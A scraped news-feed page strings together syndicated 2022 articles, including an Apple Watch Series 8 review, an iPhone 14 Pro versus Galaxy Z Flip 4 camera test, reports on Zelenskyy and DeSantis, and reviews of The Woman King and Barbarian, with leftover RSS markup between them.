Joe Maring/Digital Trends

The Apple Watch has always been a reliable one-day smartwatch, and with the Series 8, that’s no different. While you won’t find the next-level endurance of the Apple Watch Ultra, there’s plenty of power here for all-day use without battery anxiety.

During my time wearing the Apple Watch Series 8, I’ve ended each day somewhere in the 40% to 30% battery remaining range. One day saw me put on the Series 8 at about 6:00 am and find myself at 9:15 pm with 48% battery still available. That was after tracking a 20-minute core workout on Apple Fitness+, receiving constant notifications throughout the day, using a couple of timers while cooking dinner, and having the always-on screen enabled.

On a more intensive day, I took the Series 8 off the charger at 9:00 a.m. and had another day filled with notifications and the always-on screen. I also tracked a 1.8-mile outdoor walk and used the Backtrack feature on the Compass app for 40 minutes. I had 33% battery remaining at 2:03 a.m. and woke up at 8:00 a.m. with 23% remaining after tracking my (much too short) sleep.

Just like last year, the Apple Watch Series 8 supports fast charging speeds. It easily goes from 0 to over 80% in 45 minutes and reaches a full battery in around an hour. That’s fast enough to throw the Series 8 on the charger when you wake up after a night of sleep tracking, get ready for the day ahead, and then take it off the charger with a full battery ready to go.

Apple Watch Series 8 price and availability

An Apple Watch Series 8 showing its always-on display.
Joe Maring/Digital Trends

The Apple Watch Series 8 is available for purchase now. It starts at $ 399 for the 41mm aluminum case with GPS only. Stepping up to the 45mm aluminum case with GPS will run you $ 429. If you want to add LTE cellular connectivity, the price goes up by $ 100 to $ 429 and $ 529, respectively.

You can also get the Apple Watch Series 8 with a more premium stainless steel case. Here, the 41mm GPS/LTE model costs $ 749, and the 45mm version is $ 799.

The Apple Watch Series 8 is the smartwatch to beat

An Apple Watch Series 8 with the screen turned on.
Joe Maring/Digital Trends

There’s nothing surprising or shocking about the Apple Watch Series 8. It does all of the Apple Watch things you expect in 2022, with some added niceties to make it better than ever.

Like the iPhone 14 and iPhone 13 comparison, there’s no need to upgrade to the Apple Watch Series 8 if you already have a Series 7. The chipset is virtually identical, the screen and design are the same, and you’ll get the same WatchOS 9 software experience. But if you’re coming from an Apple Watch Series 6 or older, I think there’s enough here to justify an upgrade. The large display is a joy to look at and interact with, fast charging can be a lifesaver, and the temperature sensors and car crash detection — while not immediately useful for everyone — are really nice to have. And you get all of that at the same $ 399 price Apple’s been charging for Apple Watches for the last few years.

The Apple Watch Series 8 may not be a revolutionary chapter in the Apple Watch story, but as another entry in the family, it’s a remarkably good one. If you have an iPhone, want a smartwatch, and need more functionality than what the Apple Watch SE provides, the Apple Watch Series 8 is our new go-to recommendation. Just like the Series 7, it really is that good.

]]> https://briefnews.eu/apple-watch-series-8-review-the-best-apple-watch-gets-better/feed/ 0 Which $1,000 phone has the better camera — iPhone 14 Pro or Galaxy Z Flip 4? https://briefnews.eu/which-1000-phone-has-the-better-camera-iphone-14-pro-or-galaxy-z-flip-4/ https://briefnews.eu/which-1000-phone-has-the-better-camera-iphone-14-pro-or-galaxy-z-flip-4/#respond Sun, 25 Sep 2022 13:33:22 +0000 https://briefnews.eu/which-1000-phone-has-the-better-camera-iphone-14-pro-or-galaxy-z-flip-4/ The iPhone 14 Pro and the Samsung Galaxy Z Flip 4 are very different smartphones. Try to fold the iPhone like the Z Flip 4, and it’ll all end in tears. Yet if you’ve got $ 1,000 to spend, these two sit alongside each other on the shelves, and that makes comparing them an interesting proposition. Both are very tempting, just for different reasons. Can the camera performance help make any decision easier?

iPhone 14 Pro vs Galaxy Z Flip 4: camera specs

A pair of 12-megapixel cameras live on the back of the Galaxy Z Flip 4, both covering the main and wide-angle duties. The main camera has optical image stabilization and an f/1.8 aperture, while the wide-angle camera has a 123-degree field of view. There’s no telephoto camera, but Samsung provides a 10x digital zoom feature. However, it doesn’t make it a big deal and has not added a shortcut to the camera app.

iPhone 14 Pro and Galaxy Z Flip 4 seen from the back.
Andy Boxall/Digital Trends

The iPhone 14 Pro has a 48MP main camera with its second-generation optical image stabilization and an f/1.78 aperture, which is joined by a 12MP wide-angle camera and a 12MP telephoto with 2x and 3x optical zoom. On the software side, Apple loads its new Photonic Engine, plus Deep Fusion and Smart HDR 4 features. The 12MP selfie camera also makes use of these features, while the Samsung phone has a 10MP f/2.4 camera at the top of the screen.

On paper, the iPhone 14 Pro has the more impressive specification, and the optical zoom feature will make it more versatile. Can this apparent superiority carry across to a decisive win? All the photos below were taken using the automatic settings across several different days. All have been examined on a color-calibrated monitor, then resized before uploading here.

iPhone 14 Pro vs Galaxy Z Flip 4: main camera

The main camera test results show the iPhone 14 Pro isn’t going to have the test all to itself, as the Z Flip 4 takes some really great photos. Perhaps not technically as good, but with its recent phones, Samsung has got the level of saturation and pop just right — taking very shareable photos that instantly appeal.

Apple iPhone 14 Pro main camera photo.
Samsung Galaxy Z Flip 4 main camera photo.

The photo of the car illustrates what I mean. The iPhone 14 Pro’s photo is more realistic, has more accurate colors, and has better exposure. But there’s a lot more visual punch to the Z Flip 4’s photo, with brighter colors and more saturation. Zoom in, and the level of detail in each is similar, but the Z Flip 4 loses out on the intricate textures seen in the iPhone’s photo.

Apple iPhone 14 Pro main camera photo.
Samsung Galaxy Z Flip 4 main camera photo.

Take a look at the photo of the canal too, where the grass is more vibrant in the Z Flip 4’s photo, and the sky less oppressive. The iPhone 14 Pro’s picture is closer to what I saw with my own eyes, but it doesn’t have that Samsung pop. The iPhone’s photo is obviously technically superior, but that doesn’t always matter when you want to quickly share the photo.

Apple iPhone 14 Pro main camera photo.
Samsung Galaxy Z Flip 4 main camera photo.

Finally, the photo of the flowers shows where the Galaxy Z Flip 4’s love of bright colors and over-exposure really hurts the final image. While I like the brightness showing the texture of the brickwork and the basket, the flowers were red and not orange, making this a very different scene from real life. The iPhone 14 Pro’s consistent natural tones and balanced colors mean it always delivers a strong photo, and I love the depth of field it generated.

The Galaxy Z Flip 4’s camera can take excellent photos, and I’ve found most very easy to share without a second thought, but the iPhone 14 Pro’s consistency and realism have to win through.

Winner: Apple iPhone 14 Pro

iPhone 14 Pro vs Galaxy Z Flip 4: wide-angle camera

The wide-angle camera tells a similar story. The Z Flip 4 produces bright, colorful photos that aren’t particularly subtle when looked at alongside the iPhone 14 Pro’s natural, understated pictures. The iPhone’s photo of the bridge over the canal is atmospheric with a natural look, but at the expense of a blown-out sky. The Z Flip 4’s vibrant greens overpower the image.

Apple iPhone 14 Pro main camera photo.
Samsung Galaxy Z Flip 4 wide-angle photo.

There’s less edge distortion in the iPhone’s wide-angle photo, and very little of the stretching seen in the Z Flip 4’s picture, especially in the tree trunk. This lack of distortion is also visible in the photo of the church, where the grass remains normal-looking in the iPhone’s picture but stretched and blurred in the Z Flip 4’s. It should be noted the Z Flip 4’s wide-angle camera has a greater field of view. Obviously, the treatment of the sky is different too, and a return to the Samsung phone’s love of producing a vibrant and exciting photo at the expense of realism.

Apple iPhone 14 Pro wide-angle photo.
Samsung Galaxy Z Flip 4 wide-angle photo.

The last photo here shows once again where the Z Flip 4’s camera can produce eye-catching photos where realism doesn’t really matter. The sign is readable, the greenery colorful, and although it could do with toning down a bit, the scene is far more attractive than the iPhone’s dull, almost wintery look.

The iPhone 14 Pro will take the win due to the lack of distortion and, more often than not, getting the tone of the scene right, but the photos won’t be to everyone’s taste. That’s where the Z Flip 4 comes in, and its main and wide-angle cameras really do provide an alternative to the iPhone, despite not being as technically adept.

Winner: Apple iPhone 14 Pro

iPhone 14 Pro vs Galaxy Z Flip 4: telephoto camera

Only one example is required to see the difference between the iPhone 14 Pro’s 3x optical zoom and the Z Flip 4’s 3x digital zoom. This isn’t a fair fight, and to give Samsung credit, it hasn’t added a quick shortcut to a digital 3x zoom in the viewfinder — so it really doesn’t want you to start zooming in.

Apple iPhone 14 Pro 3x zoom photo.
Samsung Galaxy Z Flip 4 3x zoom photo.

There’s good reason because the photos it takes aren’t very good. The bridge is recognizable and the colors are fine, plus it’s exposed effectively enough, but the overall image is pixelated and noisy. It’s very clear the photo has been taken with a digital zoom. The iPhone 14 Pro’s telephoto camera is probably its best, or most improved, camera over the previous generation phone and the photos it takes are superb. Little else needs to be said, apart from don’t use the Z Flip 4’s digital zoom if you want good photos.

Winner: Apple iPhone 14 Pro

iPhone 14 Pro vs Galaxy Z Flip 4: Night mode

Night mode is where the test gets really interesting, as both have distinct strengths and weaknesses. The first photo shows where the Z Flip 4 can sometimes win over the iPhone 14 Pro, with a sharper, less noisy photo. The flag and the glitter ball are more defined, the brickwork has a sharpness missing from the iPhone’s photo, and it’s somewhat brighter too.

Apple iPhone 14 Pro Night mode photo.
Samsung Galaxy Z Flip 4 Night mode photo.

But the second photo shows where the Samsung phone falls down, with a warmer image that isn’t as well balanced as the iPhone’s photo, and really shows where the Z Flip 4 relies on smoothing in some of its Night mode shots. The iPhone avoids all this with excellent white balance, less noise, more texture, and a more realistic overall tone.

Apple iPhone 14 Pro Night mode photo.
Samsung Galaxy Z Flip 4 Night mode photo.

These results tracked across most lowlight photos, and it seemed to come down to the amount of light available. The iPhone preferred darker conditions, but give the Z Flip 4 just a little more light, and the photos are much better. Neither has perfect photos, so this one is a draw. However, I’d expect Apple to improve its Night mode through software updates soon, due to its recent release, and it may take Samsung a little longer to enhance the camera.

Winner: Draw

iPhone 14 Pro vs Galaxy Z Flip 4: portrait mode

The Galaxy Z Fold 4’s portrait mode is far better at isolating objects, dealing with short distances, and has a better understanding of what should bein in focus and what shouldn’t. It’s more versatile than the iPhone’s portrait mode, which seems to prefer to find faces and not objects. That’s fine, but I prefer being able to use the mode for everything, not just people.

Apple iPhone 14 Pro Portrait mode photo.
Samsung Galaxy Z Flip 4 Portrait mode photo.

This simple photo of the Apple Watch SE 2 on my wrist illustrates where the iPhone 14 Pro gets it wrong so often. It can’t seem to isolate everything as the Z Flip 4 does, which even manages to get my arm hair into the foreground. I far prefer the warmer tone too. And when I took these shots, the Samsung phone recognized my arm and watch instantly, while the iPhone repeatedly asked me to move further away from the subject before it locked on.

Apple iPhone 14 Pro Portrait mode photo.
Samsung Galaxy Z Flip 4 Portrait mode photo.

The second photo of the padlock and gate highlights how good the Z Flip 4’s portrait mode can be. The entire chain is in focus, as is the U-shaped bolt above it, while the wood fades into the background very effectively. It’s a photo you could share happily due to its natural look. The iPhone 14 Pro simply can’t compete, and looks obviously “fake.”

Winner: Samsung Galaxy Z Flip 4

iPhone 14 Pro vs Galaxy Z Flip 4: selfie camera

The Galaxy Z Flip 4’s selfie camera may have fewer megapixels, but it has the iPhone 14 Pro beaten in this category. I’ve been consistently impressed with the selfies taken by the Z Flip 4, which captures my skin tone in a way that I like, introduces plenty of detail, and is very effective in low light. This is a surprise, as the iPhone is supposed to fall back on the Photonic Engine here, something it does well with the 3x zoom using the rear camera in low light.

Apple iPhone 14 Pro portrait selfie.
Samsung Galaxy Z Flip 4 Portrait selfie.

Selfies taken with the Z Flip 4 still have problems, though. The edge recognition in portrait mode isn’t as good as the iPhone’s, and colors are often a little less realistic, but I’ll take those when the photo of me is more visually pleasing to my eye. I also like the Z Flip 4’s editing suite for selfies, with its slick background changes and adjustable light source when you select the Studio setting.

Plus, you can use the Z Flip 4’s Cover screen to take selfies with the rear cameras, the phone folds to create a handy stand so you can take selfies without holding the phone, and Samsung’s palm gesture to activate the shutter makes all of this very easy. It’s by far the better phone for selfies.

Winner: Samsung Galaxy Z Flip 4

Which one should get your $ 1,000?

It’s surprisingly close. The Apple iPhone 14 Pro won three categories, the Galaxy Z Flip 4 took two wins, and the pair had a single draw. If forced to pick a winner of the Night mode category it would be the iPhone 14 Pro due to its ability to effectively use Night mode with the 3x zoom, something the Galaxy Z Flip 4 cannot replicate. But based on the photos I took for this test, it’s a draw. The iPhone 14 Pro beat the Samsung phone in the three arguably most important categories covering the main camera, wide-angle, and telephoto. But as I’ve said throughout, some may actually prefer the Z Flip 4’s vibrant shots.

So which one should you buy? Leaving the cameras aside for a moment, remember only one of these phones folds up, and it’s a huge selling point. The Z Flip 4 is so compact when folded, yet completely normal when unfolded. This design has been tied into the camera’s functionality, too, making it a genuinely fun camera phone.

It’s the best way to look at these two $ 1,000 phones. Both are two of the best phones you can buy, but there’s a distinct difference in their character. The Z Flip 4 always feels fun and exciting, and the photos it takes reflect that. The iPhone 14 Pro is a more serious device, and its photos will please those who demand quality and realism. Before you go off to buy one, make sure you take a look at our comparison between the iPhone 13 Pro’s camera and the iPhone 14 Pro, where the results are quite different again.

]]> https://briefnews.eu/which-1000-phone-has-the-better-camera-iphone-14-pro-or-galaxy-z-flip-4/feed/ 0 Zelenskyy urges Russian conscripts to ‘sabotage’ military operations and offers protections to those who surrender: ‘It is better to surrender to Ukrainian captivity than to be killed by the strikes of our weapons’ https://briefnews.eu/zelenskyy-urges-russian-conscripts-to-sabotage-military-operations-and-offers-protections-to-those-who-surrender-it-is-better-to-surrender-to-ukrainian-captivity-than-to-be-killed-by-the-strike/ https://briefnews.eu/zelenskyy-urges-russian-conscripts-to-sabotage-military-operations-and-offers-protections-to-those-who-surrender-it-is-better-to-surrender-to-ukrainian-captivity-than-to-be-killed-by-the-strike/#respond Sun, 25 Sep 2022 06:42:50 +0000 https://briefnews.eu/zelenskyy-urges-russian-conscripts-to-sabotage-military-operations-and-offers-protections-to-those-who-surrender-it-is-better-to-surrender-to-ukrainian-captivity-than-to-be-killed-by-the-strike/ Volodymyr Zelenskyy
Ukrainian President Volodyrmyr Zelenskyy seen on March 10, 2022.

Office of the President of Ukraine

  • Russian President Volodymyr Zelenskyy is seeking aid from Russian conscripts.
  • He's urged them to "sabotage" Russian forces and report intel to Ukrainian forces.
  • Zelenskyy also urged Russians to surrender and guaranteed their safety.

Ukrainian President Volodymyr Zelenskyy is moving to overtake Russia from the inside out. 

Russia's seven-month effort to conquer its neighbor, Ukraine, has recently been marked by a partial military mobilization, the country's first since World War II, NBC News reported.

Russian President Vladimir Putin's mobilization effort impacts 300,000 reservists — many of whom are going to great lengths to avoid being drafted. Some have even headed to the border, despite facing up to 10 years in prison for desertion.

In a video address late on Friday Ukraine time, Zelenskyy said he seeks to "sabotage" Russia's unprovoked efforts to conquer the country.

"If you get into the Russian army, then sabotage any enemy activity, interfere with any Russian operations, give us all important information about the occupiers: their bases, headquarters, ammunition depots," Zelenskyy said, addressing Russsian conscripts.  

The mobilization effort comes after Ukrainian forces reclaimed much of Kharkiv, pushing Russian troops to hide amongst locals or retreat.

Russian troops are reportedly demoralized as their numbers wane.  The Pentagon estimates Russian forces have faced anywhere between 70,000 and 80,000 casualties. Many Russians have grown to condemn the war as protests — and more than 1,000 arrests — ensue across the country.

In a Saturday address, Zelenskyy urged Russian forces to surrender, guaranteeing their safety.

"It is better to surrender to Ukrainian captivity than to be killed by the strikes of our weapons, absolutely fair strikes, as Ukraine defends itself in this war. We defend the brightest — we defend our lives, our children, our freedom," he said, according to his website.

"Russian commanders do not care about the lives of Russians — they just need to replenish the empty spaces left by the dead, wounded, those who fled or the Russian soldiers that were captured," the Ukrainian President added.

British and US officials argue that Putin's latest war efforts — including the mobilization effort and threatening the use of nuclear weapons — could mean his invasion is not going as planned.

Read the original article on Business Insider

https://i.insider.com/632fe03178dab80018ed73bb?format=jpeg

]]> https://briefnews.eu/zelenskyy-urges-russian-conscripts-to-sabotage-military-operations-and-offers-protections-to-those-who-surrender-it-is-better-to-surrender-to-ukrainian-captivity-than-to-be-killed-by-the-strike/feed/ 0 DeSantis’ office says migrants are better off in Massachusetts than they would have been in Texas https://briefnews.eu/desantis-office-says-migrants-are-better-off-in-massachusetts-than-they-would-have-been-in-texas/ https://briefnews.eu/desantis-office-says-migrants-are-better-off-in-massachusetts-than-they-would-have-been-in-texas/#respond Tue, 20 Sep 2022 14:35:28 +0000 https://briefnews.eu/desantis-office-says-migrants-are-better-off-in-massachusetts-than-they-would-have-been-in-texas/ Republican Gov. Ron DeSantis is up for reelection in Florida in 2022 and is considered to be a top-tier GOP candidate for the presidency in 2024.
Republican Gov. Ron DeSantis.

John Raoux/AP Images

  • Florida Gov. Ron DeSantis' office said migrants he had flown to Martha's Vineyard are better off.
  • The remarks by a DeSantis spokesperson came after a county sheriff in Texas announced he had opened a criminal investigation into the matter. 
  • Last week, 50 migrants were flown to Martha's Vineyard in a move orchestrated by DeSantis.

Florida Gov. Ron DeSantis' office said that the dozens of migrants that he had flown to the Massachusetts island of Martha's Vineyard are better off than they would have been in Texas after a Texas county sheriff announced that he had launched a criminal investigation into the matter.

Last week, about 50 migrants were taken on two chartered planes from Texas to Martha's Vineyard in a controversial move orchestrated by DeSantis. 

The Republican governor's spokesperson Taryn Fenske said in a statement shared with Insider that immigrants were "more than willing" to leave Bexar County, Texas, "after being abandoned, homeless, and 'left to fend for themselves.'"

"Florida gave them an opportunity to seek greener pastures in a sanctuary jurisdiction that offered greater resources for them, as we expected," Fenske said. 

Fenske added that unless the Massachusetts National Guard "has abandoned these individuals, they have been provided accommodations, sustenance, clothing and more options to succeed following their unfair enticement into the United States, unlike the 53 immigrants who died in a truck found abandoned in Bexar County this June."

The remarks came in response to the Bexar County Sheriff's Office opening an investigation into the transport of migrants to Martha's Vineyard. 

Bexar County Sheriff Javier Salazar, a Democrat, said that the migrants were "lured" with "promises of a better life."

The Bexar County Sheriff's Office said that the migrants "were ultimately left to fend for themselves in Martha's Vineyard."

Read the original article on Business Insider

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]]> https://briefnews.eu/desantis-office-says-migrants-are-better-off-in-massachusetts-than-they-would-have-been-in-texas/feed/ 0 Walking 10K steps a day is a health sweet spot, study finds — and walking faster is even better https://briefnews.eu/walking-10k-steps-a-day-is-a-health-sweet-spot-study-finds-and-walking-faster-is-even-better/ https://briefnews.eu/walking-10k-steps-a-day-is-a-health-sweet-spot-study-finds-and-walking-faster-is-even-better/#respond Sun, 18 Sep 2022 20:16:06 +0000 https://briefnews.eu/walking-10k-steps-a-day-is-a-health-sweet-spot-study-finds-and-walking-faster-is-even-better/ Britannia Park

In recent years, walking 10,000 steps a day has become a popular fitness goal, but until now, there hasn’t been much scientific research to back that number. A new study looking at people wearing fitness trackers has finally determined that it is indeed a sweet spot for a range of health outcomes, but how fast you walk is also important.

]]> https://briefnews.eu/walking-10k-steps-a-day-is-a-health-sweet-spot-study-finds-and-walking-faster-is-even-better/feed/ 0 Amazon Makes the Cheapest Kindle Even Better https://briefnews.eu/amazon-makes-the-cheapest-kindle-even-better/ https://briefnews.eu/amazon-makes-the-cheapest-kindle-even-better/#respond Sat, 17 Sep 2022 17:59:57 +0000 https://briefnews.eu/amazon-makes-the-cheapest-kindle-even-better/ Plus: Alexa will soon give branded answers, ByteDance has its own VR headset in the works, and TikTok pushes a new BeReal knockoff.


https://media.wired.com/photos/6324f829c9bb1af7ef2497d8/master/pass/New-Kindle-2022-Gear-Roundup.jpg

]]> https://briefnews.eu/amazon-makes-the-cheapest-kindle-even-better/feed/ 0 Walking 10K a day is a health sweet spot, study finds — and walking faster is even better https://briefnews.eu/walking-10k-a-day-is-a-health-sweet-spot-study-finds-and-walking-faster-is-even-better/ https://briefnews.eu/walking-10k-a-day-is-a-health-sweet-spot-study-finds-and-walking-faster-is-even-better/#respond Fri, 16 Sep 2022 21:36:22 +0000 https://briefnews.eu/walking-10k-a-day-is-a-health-sweet-spot-study-finds-and-walking-faster-is-even-better/ Britannia Park

In recent years, walking 10,000 steps a day has become a popular fitness goal, but until now, there hasn’t been much scientific research to back that number. A new study looking at people wearing fitness trackers has finally determined that it is indeed a sweet spot for a range of health outcomes, but how fast you walk is also important.

]]> https://briefnews.eu/walking-10k-a-day-is-a-health-sweet-spot-study-finds-and-walking-faster-is-even-better/feed/ 0 The Woman King Review: A Rousing Historical Epic With Great Action And Even Better Characters [TIFF] https://briefnews.eu/the-woman-king-review-a-rousing-historical-epic-with-great-action-and-even-better-characters-tiff/ https://briefnews.eu/the-woman-king-review-a-rousing-historical-epic-with-great-action-and-even-better-characters-tiff/#respond Sat, 10 Sep 2022 08:40:17 +0000 https://briefnews.eu/the-woman-king-review-a-rousing-historical-epic-with-great-action-and-even-better-characters-tiff/

There’s something very old school about “The Woman King.” It’s a sweeping, rousing, crowd-pleasing historical action-adventure epic the likes of which Hollywood doesn’t make that much anymore, at least not well. It’s familiar in a welcoming way. And yet, at the same time, this is also something groundbreaking. Because unlike the Hollywood epics of old, “The Woman King” features a cast made up almost entirely of Black women, and there’s a Black woman, Gina Prince-Bythewood, behind the camera, too. Maybe one day we’ll get to a point where such a movie doesn’t feel groundbreaking, but here we are.

Even if it wasn’t groundbreaking, “The Woman King” would still be an absolute blast. It’s a film that isn’t afraid to get you cheering, although much of the subject matter is often overwhelmingly harsh. The key to all of this is that Prince-Bythewood and screenwriter Dana Stevens have assembled a wonderful cast of memorable, easy-to-root-for characters. Viola Davis leads them all, and as is a common fact by now, Davis is stellar. But she’s backed up by a spirited, funny, butt-kicking group of warriors. Davis plays Nanisca, a General in the West African Kingdom of Dahomey. It’s 1832, and Nanisca leads the Agojie, the all-female group of warriors loyal to new-ish King Ghezo (John Boyega). We’re introduced to Nanisca and her warriors in a pulse-pounding opening sequence that showcases Prince-Bythewood’s skill at crafting engaging, thrilling action. 

But then “The Woman King” settles down. The trailers would have you believe this is a straight-up action movie, and indeed, there is much incredible action to be had; the type of action that puts the endless stream of Marvel and other franchise action movies to shame. But “The Woman King” is also a character study, and Davis’ Nanisca, while always a commanding presence, isn’t really the main character. 

Lashana Lynch Steals The Show

Within the walls of the palace at Dahomey, the women of the Agojie live fierce and free. The other people of the kingdom think of them as almost mythical; beings that are unearthly and not to be looked at. But as Nanisca says, there’s an evil growing outside the palace walls. The slave trade — something even King Ghezo takes part in — is a blight in Nanisca’s eyes, even though it has helped make Dahomey very wealthy. Then there are the gun-toting fighters of the Oyo Empire, led by a cruel, slave-trading general, played with real menace by Jimmy Odukoya. Nanisca warns of both the threat of the Oyo Empire and the evils of the slave trade, but her King is hesitant to change old, familiar ways.

In the midst of all this enters Nawi (Thuso Mbedu), a 19-year-old handed over to the Agojie after she refuses to marry a man who freely hits her. Nawi is stubborn and brave, and she becomes our real lead character, guiding us through the world of the Agojie. To become one of them, Nawi — along with several other recruits — must endure a rigorous boot camp-style training program, and this takes up the majority of “The Woman King.” We watch as Nawi grows into a real warrior, while still ensuring Nanisca’s displeasure with her strong-headed ways. 

Nawi is taken under the wing of Agojie soldier Izogie who guides her through every step and dolls out droll advice. Izogie is played by Lashana Lynch, and in a cast full of heavy-hitters, Lynch is the real stand-out, turning Izogie into a funny, warm, but still deadly presence who loves to swill whiskey and sharpen her nails into claws. Every second she’s on screen is a treat, and I wanted more of her. The comradery that forms between Nawi and Izogie is wonderful, and Mbdeu gives a breakout performance in the process, making us care deeply for Nawi and her story. 

Action And Drama

“The Woman King” is inspired by a true story, and while I’m sure there will be some who loudly proclaim that the movie isn’t 100% historically accurate, I’m not concerned with that. No film is even 100% accurate, not even historical epics. Hell, “Braveheart” is loaded with pure fiction, and that won a slew of Oscars. Whether or not everything that happens in “The Woman King” happened in real life is inconsequential. What matters is it feels real to the world the film builds. We believe in the validity of these characters. Davis, one of the best actors of this or any generation, is in top form, making Nanisca into a complex, tenable figure. And everyone backing her up feels the same. 

The human drama is what drives “The Woman King,” but to be fair, the script never goes quite as deep as it could. No matter — “The Woman King” is so consistently powerful and emotionally exhilarating that we’re swept away by it all, rooting for the brave heroes and cursing the nasty villains. And gosh does that action sing. A few quirky cuts get in the way here and there (I’m guessing these are the result of some violence trimming to earn a PG-13 rating), but for the majority of the picture we can easily see the actors doing their own stunts, fighting and kicking and swinging and smashing and stabbing and at times running sideways up something in order to deliver a flying punch. 

There are more than a few moments in “The Woman King” that will have you fist-pumping and grinning like a goofball, amazed at energy of it all. And all that action is often aided by raw, real emotion which is handled deftly. Davis in particular seems to carry the weight of the world on her shoulders just with a single glance. We can feel that weight right along with her — and we can’t wait to watch her shrug it off so she can kick some ass. 

/Film Rating: 8 out of 10

Read this next: The Best Movies Of 2022 So Far

The post The Woman King Review: A Rousing Historical Epic With Great Action and Even Better Characters [TIFF] appeared first on /Film.

]]> https://briefnews.eu/the-woman-king-review-a-rousing-historical-epic-with-great-action-and-even-better-characters-tiff/feed/ 0 Barbarian review: the less you know, the better https://briefnews.eu/barbarian-review-the-less-you-know-the-better/ https://briefnews.eu/barbarian-review-the-less-you-know-the-better/#respond Fri, 09 Sep 2022 00:04:12 +0000 https://briefnews.eu/barbarian-review-the-less-you-know-the-better/ Barbarian is a true swing for the fences. The film, which marks writer-director Zach Cregger’s solo directorial debut, is a horror mash-up that seems in certain moments like a modern riff on The Texas Chain Saw Massacre and at other times like a loving homage to the kind of campy horror comedies that Sam Raimi has perfected. When it’s at its best is when Barbarian feels like it is combining those influences to become a horror ride that is simultaneously absurd and terrifying.

More than anything else, Barbarian is unlike anything else you’ll see in a movie theater this year. That kind of remark doesn’t always equal praise. Uniqueness alone is, after all, not enough to save a movie that is otherwise coming apart at the seams. In the case of Barbarian, though, the film’s commitment to delivering a genuinely unpredictable and tonally-challenging experience is what makes it so memorable. To watch it is to get swept up not only in the dramatic stakes of the film’s story but also in the audacious, go-for-broke creative spirit at the center of it.

Georgina Campbell stands on a front porch at night in Barbarian.
20th Century Studios, 2022

Like all great horror movies, Barbarian’s plot appears, at first, to be deceptively simple. The film opens with Tess Marshall (Georgina Campbell) arriving in the middle of a rain-soaked night at a Detroit rental home only to discover that the place has been double-booked. When she knocks on the house’s door, Keith Toshko (Bill Skarsgård) answers and invites her inside, offering her a reprieve from the night’s rain while they come up with a solution for their problem.

It doesn’t take long for Keith to offer to sleep on the house’s couch so that Tess can take its sole bedroom. Despite being initially (and understandably) hesitant about the idea, Tess agrees and later finds herself sharing a surprisingly enjoyable, flirtatious night with Keith. The next day, however, Tess discovers a secret tunnel in the rental home’s basement, one that leads her straight into what can only be described as an absolute nightmare.

To say anything more about Barbarian’s plot would be to spoil a lot of the fun of it. The film’s early trailers and promotional materials have all wisely shown little beyond Tess’ unnerving discovery of her rental house’s secret, subterranean passageway, and for good reason. While Barbarian takes its time kicking its plot into full gear, Tess’ discovery marks the moment in Barbarian when the film’s sense of dread begins to steadily ramp up before eventually reaching a moment of sheer horror that is sure to leave viewers both terrified and laughing in complete disbelief over what they’ve just witnessed.

Georgina Campbell holds up her phone in a dark tunnel in Barbarian.
20th Century Studios, 2022

From there, Barbarian begins to add an increasing number of layers to its nesting doll of a narrative. Not all of the film’s detours work — its attempts at satirizing the state of modern Hollywood feel particularly extraneous at times — but the episodic structure of Cregger’s script keeps Barbarian chugging along at a refreshingly quick pace for the entirety of its second and third acts. Cregger’s keen understanding of visual storytelling also helps prevent Barbarian’s various flashbacks and tangents from bogging down the film.

That said, the true nature of Barbarian’s story eventually presents Cregger with two options: He can either submerge viewers in its full, horrifying weight, or he can prevent the darkness of Barbarian’s backstory from becoming suffocating by leaning into his comedic impulses. Cregger, wisely, chooses the latter option, and while his direction never quite matches the madcap visual style of a horror comedy auteur like Sam Raimi, Cregger does push Barbarian’s undeniably terrifying story to its most absurd extremes in the final act.

By choosing to inject Barbarian’s final third with several doses of pure absurdity, Cregger manages to heighten the film’s thrills and scares while also dulling the impact of its darkest moments. That blending of tones allows Barbarian to ultimately occupy an odd kind of liminal space, one that fittingly exists between reality and fantasy. The film’s cast members, meanwhile, all seem to understand the tone that Cregger is going for in Barbarian. Justin Long, in particular, turns in a memorably funny, tongue-in-cheek supporting performance, though, his role in Barbarian’s plot is better left unspoiled.

Georgina Campbell crawls up a metal staircase in Barbarian.
20th Century Studios, 2022

Outside of Tess’ initial excavation into the film’s central underground tunnel, Barbarian never delivers any truly memorable set pieces, which prevents it from feeling like a game-changing genre title in the same vein as, say, Evil Dead 2. While the film’s Detroit setting feels intentional and Cregger’s script does seem occasionally interested in exploring that city’s history as well, Barbarian’s few thematic ideas never fully come together.

However, by the time it has reached its cheeky final needle drop, Barbarian has still managed to outgrow its familiar influences and become a singular piece of work. That’s a notable accomplishment for a film that is so clearly influenced by such specific horror titles.

BARBARIAN | Official Trailer | In Theaters September 9

Barbarian’s disinterest in achieving a kind of greater thematic relevance also doesn’t take away from just how truly entertaining it is as both an unpredictable, Shyamalan-esque puzzle box and as a nerve-shredding horror comedy. The film is one of this year’s most impactful genre experiments. Unlike the unsuspecting woman at the center of its story, horror fans won’t regret stepping into the strange and horrifying tunnel that is Barbarian, which contains innumerable surprises that are alternatively scary and funny, but almost always unexpected.

Barbarian is set to hit theaters on Friday, September 9.

]]> https://briefnews.eu/barbarian-review-the-less-you-know-the-better/feed/ 0 How to sleep: ‘Unexpected’ foods that can guarantee ‘better’ sleep – expert https://briefnews.eu/how-to-sleep-unexpected-foods-that-can-guarantee-better-sleep-expert/ https://briefnews.eu/how-to-sleep-unexpected-foods-that-can-guarantee-better-sleep-expert/#respond Wed, 07 Sep 2022 00:03:27 +0000 https://briefnews.eu/how-to-sleep-unexpected-foods-that-can-guarantee-better-sleep-expert/

BETWEEN spending too much time in front of a screen during the day and that annoying street light filling up your bedroom at night, there could be various factors robbing you of sweet shut-eye. However, expert shares that sometimes eating your way to a better sleep could be just the solution you need.

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